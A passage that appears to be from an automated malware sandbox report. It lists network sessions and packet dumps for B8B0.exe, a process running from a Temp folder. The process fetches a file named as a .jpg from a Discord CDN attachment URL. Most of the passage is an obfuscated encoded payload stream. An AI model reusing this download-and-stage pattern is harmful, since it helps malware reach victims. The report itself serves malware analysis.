Oxk x Oxx x Kk x tQ x OxR x Rt x Kt x Oxo x Kt x Kt x OxY x YO x kY x tt x Qx x OxR x Oxt x OxO x Rk x Yo x kO x OOk x RY x kO x RY x RY x OxY x kk x kk x OOO x OxY x Kk x kk x OOO x Rk x YY x QQ x RY x Qx x OxR x Kk x OxE x RY x to x kR x tx x tQ x kR
2021-11-09 21:21:49 UTC	783	IN	Data Raw: 78 6f 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4b 74 20 78 20 4f 6f 78 20 78 20 6b 59 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6b 20 78 20 4b 51 20 78 20 59 59 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 4b 51 20 78 20 6b 74 20 78 20 74 52 20 78 20 59 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20 6b 4f 20 78 20 74 4f 20 78 20 51 74 20 78 20 52 6b 20 78 20 51 78 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 4f 78 52 20 78 20 59 4b 20 78 20 74 6b 20 78 20 6b 6f 20 78 20 51 51 20 78 20 74 4b 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 74 78 20 78 20 52 6b 20 78 20 Data Ascii: xo x Kt x Oxx x kO x Ooo x Kt x Oxx x kO x OxK x kt x Kt x Oox x kY x Kk x OOQ x kY x RY x RY x kk x KQ x YY x tK x OOQ x KQ x kt x tR x YY x tE x kx x OOY x kO x tO x Qt x Rk x Qx x QQ x RY x RY x Qt x OxR x YK x tk x ko x QQ x tK x OOE x RY x tx x Rk x
2021-11-09 21:21:49 UTC	799	IN	Data Raw: 59 20 78 20 52 59 20 78 20 74 74 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 4f 45 20 78 20 74 78 20 78 20 74 78 20 78 20 4f 4f 45 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 4f 78 6f 20 78 20 4f 78 59 20 78 20 52 6b 20 78 20 59 45 20 78 20 52 6b 20 78 20 52 52 20 78 20 59 74 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 74 52 20 78 20 4f 6f 4f 20 78 20 74 78 20 78 20 74 6f 20 78 20 4f 4f 4f 20 78 20 74 6f 20 78 20 6b 59 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 59 59 20 78 20 52 74 20 78 20 6b 78 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 74 4b 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 52 74 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 4f 78 6f 20 78 20 4f 6f Data Ascii: Y x RY x tt x YR x Oxk x OOE x tx x tx x OOE x tR x Oox x OOk x Oxo x OxY x Rk x YE x Rk x RR x Yt x Yt x Oxt x tR x OoO x tx x to x OOO x to x kY x Oxt x RY x RY x tx x OxQ x YY x Rt x kx x RR x RY x RY x tx x OxQ x tK x ko x Kk x Rt x tK x kk x Oxo x Oo
2021-11-09 21:21:49 UTC	815	IN	Data Raw: 20 52 74 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 6b 20 78 20 4f 6f 4f 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 6b 4b 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 59 20 78 20 4b 45 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 74 59 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 59 20 78 20 4f 78 59 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 Data Ascii: Rt x tR x Oox x OOt x OxK x QQ x Yx x kx x Kt x Kt x Qt x Oxk x OoO x tR x Oox x OOt x OxK x kK x Yx x kx x Kt x Kt x Qt x OxY x KE x tR x Oox x OOt x OxK x tY x Yx x kx x Kt x Kt x Qt x OxY x OxY x tR x Oox x OOt x OxK x RR x Yx x kx x Kt x Kt x Qt x Ox
2021-11-09 21:21:49 UTC	831	IN	Data Raw: 6b 20 78 20 6b 59 20 78 20 74 4f 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 59 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 52 6b 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 51 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 6b 4f 20 78 20 74 52 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 6b 59 20 78 20 74 4f 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 51 51 20 78 20 4f 6f 6f 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 51 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 Data Ascii: k x kY x tO x Qt x tK x OOk x kO x Rk x Yo x Kt x Kt x Kt x OOO x OxY x Rk x kQ x RY x RY x tx x Qt x tk x OxK x kO x tR x YK x Kt x Kt x Yt x kk x kY x tO x Qt x tK x OOk x kO x Rk x YK x Kt x Kt x Kt x OOO x QQ x Ooo x kQ x RY x RY x tx x Qt x tk x OxK
2021-11-09 21:21:49 UTC	847	IN	Data Raw: 74 52 20 78 20 4f 6f 6f 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 6b 6f 20 78 20 4f 78 78 20 78 20 6b 45 20 78 20 74 51 20 78 20 74 78 20 78 20 4f 6f 78 20 78 20 59 4f 20 78 20 6b 59 20 78 20 4f 78 6f 20 78 20 4f 78 59 20 78 20 4b 6b 20 78 20 6b 51 20 78 20 4b 6b 20 78 20 4f 78 59 20 78 20 6b 59 20 78 20 6b 6b 20 78 20 59 52 20 78 20 4f 78 59 20 78 20 4f 4f 51 20 78 20 51 74 20 78 20 74 52 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 59 74 20 78 20 6b 4f 20 78 20 51 74 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 20 4f 78 4b 20 78 20 74 51 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 74 20 78 20 74 52 20 78 20 6b 6f 20 78 20 4f 78 6f 20 78 20 4f 6f Data Ascii: tR x Ooo x Ooo x OOk x ko x Oxx x kE x tQ x tx x Oox x YO x kY x Oxo x OxY x Kk x kQ x Kk x OxY x kY x kk x YR x OxY x OOQ x Qt x tR x Ooo x OOk x Yt x kO x Qt x tO x OOO x RY x OxY x Yt x OxR x OOO x OxK x tQ x to x Kt x Kt x KQ x Rt x tR x ko x Oxo x Oo
2021-11-09 21:21:49 UTC	863	IN	Data Raw: 20 78 20 52 52 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 59 78 20 78 20 4f 4f 6f 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 51 78 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 6b 78 20 78 20 6b 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 4b 20 78 20 59 45 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 74 74 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 4f 78 45 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 4b 20 78 20 4f 4f 78 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 59 52 20 Data Ascii: x RR x OxO x OOQ x Yx x OOo x kO x Kt x Ooo x Qx x OOO x OoO x kx x kR x RY x RY x tQ x OxK x YE x tK x RY x RY x RY x Qt x tt x OOQ x Rt x RY x RY x Rk x Kt x Oxx x OxE x ko x OOO x KE x kx x tK x RY x RY x tQ x OxK x OOx x tK x RY x RY x RY x OxE x YR
2021-11-09 21:21:49 UTC	879	IN	Data Raw: 6f 20 78 20 59 78 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 51 20 78 20 74 78 20 78 20 59 6f 20 78 20 74 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 74 78 20 78 20 4f 78 78 20 78 20 6b 4b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 52 20 78 20 59 45 20 78 20 74 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 52 59 20 78 20 74 59 20 78 20 74 6f 20 78 20 4f 78 74 20 78 20 4f 6f 4f 20 78 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 74 51 20 78 20 59 52 20 78 20 74 6b 20 78 20 4b 6b 20 78 20 52 51 20 78 20 6b 51 20 78 20 4b 51 20 78 20 74 6b 20 78 20 59 74 20 78 20 Data Ascii: o x Yx x kY x RY x RY x kY x tt x QQ x tx x Yo x tt x OxK x RR x RY x RY x RQ x RY x RY x RY x Rk x Kt x tx x Oxx x kK x RY x kO x RY x Rt x OxR x YE x tt x OxK x RR x RY x tY x to x Oxt x OoO x RQ x RQ x RY x tQ x YR x tk x Kk x RQ x kQ x KQ x tk x Yt x
2021-11-09 21:21:49 UTC	895	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 59 78 20 78 20 74 78 20 78 20 52 59 20 78 20 4f 4f 6b 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 51 6b 20 78 20 4b 6b 20 78 20 52 59 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 74 20 78 20 52 51 20 78 20 6b 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 74 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 6b 59 20 78 20 52 74 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 52 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 51 6b 20 78 20 4b 6b 20 78 20 52 59 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 Data Ascii: RY x RY x RY x tE x Yx x tx x RY x OOk x OOK x Kt x Kt x KQ x RR x OxQ x OxY x Qk x Kk x RY x KE x OOk x Kt x Kt x YK x tt x RQ x ko x RY x RY x RR x kt x OxR x kQ x kY x Rt x Kt x kx x Kt x Kt x kR x KQ x RR x OxQ x OxY x Qk x Kk x RY x Kt x kx x Kt x Kt
2021-11-09 21:21:49 UTC	911	IN	Data Raw: 4f 45 20 78 20 6b 6b 20 78 20 74 78 20 78 20 4f 78 6f 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 6b 6b 20 78 20 52 59 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 78 6b 20 78 20 4b 6b 20 78 20 74 6f 20 78 20 59 6f 20 78 20 4f 4f 6b 20 78 20 74 6f 20 78 20 59 4b 20 78 20 4f 6f 78 20 78 20 59 78 20 78 20 52 6b 20 78 20 4f 4f 51 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 4f 51 20 78 20 74 59 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 59 20 78 20 6b 4b 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 4f 4f 6f 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 59 20 78 20 52 51 20 78 20 51 51 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: OE x kk x tx x Oxo x OOO x OxQ x RY x OxE x RY x RY x tE x kk x RY x kt x kR x Oxk x Kk x to x Yo x OOk x to x YK x Oox x Yx x Rk x OOQ x ko x Rk x OOO x OOQ x tY x to x Kt x Kt x KE x OOY x kK x Qt x OxE x OOo x kt x Kt x YY x RQ x QQ x RR x RY x RY x RY
2021-11-09 21:21:49 UTC	927	IN	Data Raw: 59 52 20 78 20 4f 78 6b 20 78 20 4f 4f 78 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 51 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 6b 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 74 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 4f 4b 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 Data Ascii: YR x Oxk x OOx x tt x tK x RY x RY x kx x YR x Oxk x OxQ x tt x tK x RY x RY x kx x YR x Oxk x Oxk x tt x tK x RY x RY x kx x YR x Oxk x Oxt x tt x tK x RY x RY x kx x YR x Oxk x OxR x tt x tK x RY x RY x kx x YR x Oxk x OOK x tt x tK x RY x RY x kx x YR
2021-11-09 21:21:49 UTC	943	IN	Data Raw: 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 6b 4b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 78 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 20 52 52 20 78 20 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 51 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 6b 45 20 78 20 52 59 20 78 20 74 78 20 78 Data Ascii: RY x tO x kO x RY x kY x OxE x RR x KQ x RY x tO x Yo x RY x RY x RY x RR x kk x RY x RQ x Oxt x RY x kK x OxE x RY x Yo x RY x tx x tE x RY x kR x RY x RR x tk x RY x RY x RY x RY x kR x OOQ x RR x tK x RY x RQ x Yo x RY x tk x OOQ x RR x kE x RY x tx x
2021-11-09 21:21:49 UTC	959	IN	Data Raw: 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 Data Ascii: RR x OOY x RY x tO x OOQ x RY x RY x RY x RY x RY x RY x tx x OOQ x RY x RY x RY x RR x tx x RY x to x tE x RY x QQ x OxE x RR x OOk x RY x to x tE x RY x tE x RY x RY x Oxk x RY x tO x kO x RY x tQ x OxE x RY x OxE x RY x Rt x kY x RY x QQ x OOQ x RY x
2021-11-09 21:21:49 UTC	975	IN	Data Raw: 20 52 52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 52 52 20 78 20 52 52 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 52 59 20 Data Ascii: RR x OOx x RY x tO x Oxt x RY x QQ x OOQ x RR x Kk x RY x tO x kY x RY x QQ x OxE x RR x Ooo x RY x Rk x OOO x RY x tE x RY x RY x tk x RY x RY x OOO x RY x ko x kO x RR x RR x RY x tx x OxE x RY x kx x kO x RY x Oxk x RY x Rk x OxE x RY x tR x OxE x RY
2021-11-09 21:21:49 UTC	991	IN	Data Raw: 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 45 20 78 20 59 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 4f 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 52 6b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 45 20 78 20 59 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 74 20 78 20 74 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 45 20 78 20 59 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 74 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 6b 4b 20 78 20 4f 78 6b 20 78 20 52 59 Data Ascii: x OOO x RY x RY x Rk x tE x YK x RY x RY x RY x to x OOt x kY x RY x RY x Rk x Rk x Oxk x RY x RY x RY x KE x YE x kO x RY x RY x kt x tQ x kY x RY x RY x tO x YY x Oxk x RY x RY x Rt x tE x YE x kO x RY x RY x OOo x tQ x kY x RY x RY x tR x kK x Oxk x RY

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49871	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-09 21:21:49 UTC	1000	OUT	GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1 Host: cdn.discordapp.com
2021-11-09 21:21:49 UTC	1001	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:21:49 GMT Content-Type: image/jpeg Content-Length: 345655 Connection: close CF-Ray: 6aba17ce1bcb1f31-FRA Accept-Ranges: bytes Age: 1048493 Cache-Control: public, max-age=31536000 ETag: "d05714d4497c7b55b2c0b1609cbd62c9" Expires: Wed, 09 Nov 2022 21:21:49 GMT Last-Modified: Tue, 26 Oct 2021 11:56:34 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635249394465681 x-goog-hash: crc32c=to49mQ== x-goog-hash: md5=0FcU1El8e1WywLFgnL1iyQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 345655 X-GUploader-UploadID: ADPycds4sIyz_GzjIugLy9_WqK029_2RU2KSIIfGlpMQJZx1WvXGDydhZDvUpsH4QNomt1ATbnkYUYcRxSnB_xGGebc X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QqZej0bIdmzadXtl648NrVqI%2Bvy3qcrgRfsxTy1tt%2BM89YfsIyRoCp6K4nZ4WDS%2B2D7KhosOP3WxVb43rRNW8Xftfj7QcntasYumFcTyItGw2BfbE7oVr7xHDfsNudNSSEssXw%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-11-09 21:21:49 UTC	1002	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-11-09 21:21:49 UTC	1002	IN	Data Raw: 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 59 4f 20 78 20 74 6b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 6f 20 78 20 6b 74 20 78 20 Data Ascii: x RQ x tk x OoO x Qx x kt x tx x Kk x Qx x kR x RR x OoO x Qk x Yx x tk x Oxk x QQ x YO x tk x kk x RY x RY x RY x Kk x RY x RQ x tk x OOY x Qk x YO x tk x Oxk x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x RY x RR x kO x Rk x kY x Yx x kR x Kk x ko x kt x
2021-11-09 21:21:49 UTC	1003	IN	Data Raw: 78 20 6b 6f 20 78 20 6b 4f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 51 78 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 4f 52 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 59 45 20 78 20 52 59 20 78 20 74 59 20 78 20 52 51 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 4b 6b 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 51 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 59 45 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 74 78 20 Data Ascii: x ko x kO x QQ x OxQ x Yt x OxR x Qx x kk x tk x Ooo x kK x kt x kR x OOR x Qk x YO x tK x YE x RY x tY x RQ x RR x ko x Yx x kR x Kk x kY x to x tK x OOk x kQ x Yx x kR x Ooo x QQ x Kk x tx x OxQ x Qx x OxQ x Oxk x OOt x Qt x kk x ko x YE x kK x kt x tx
2021-11-09 21:21:49 UTC	1005	IN	Data Raw: 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 6b 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 74 45 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 59 45 Data Ascii: x OOo x Qk x kt x kY x RY x RY x tE x tE x RR x ko x Yx x kR x Kk x kK x kt x Yt x Oxt x Oxx x kt x Oox x Oxk x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x kR x OOQ x RY x RY x kR x RY x tx x to x Qx x kk x ko x RQ x QQ x OxQ x Oxk x Yx x Qx x kR x ko x YE
2021-11-09 21:21:49 UTC	1006	IN	Data Raw: 51 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 74 4f 20 78 20 51 74 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 4b 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 51 78 20 78 20 6b 52 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 74 20 78 20 6b 4b 20 78 20 74 4f 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 51 74 20 78 20 4b 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 59 78 20 78 20 59 74 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 51 51 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 78 20 78 20 74 78 20 78 20 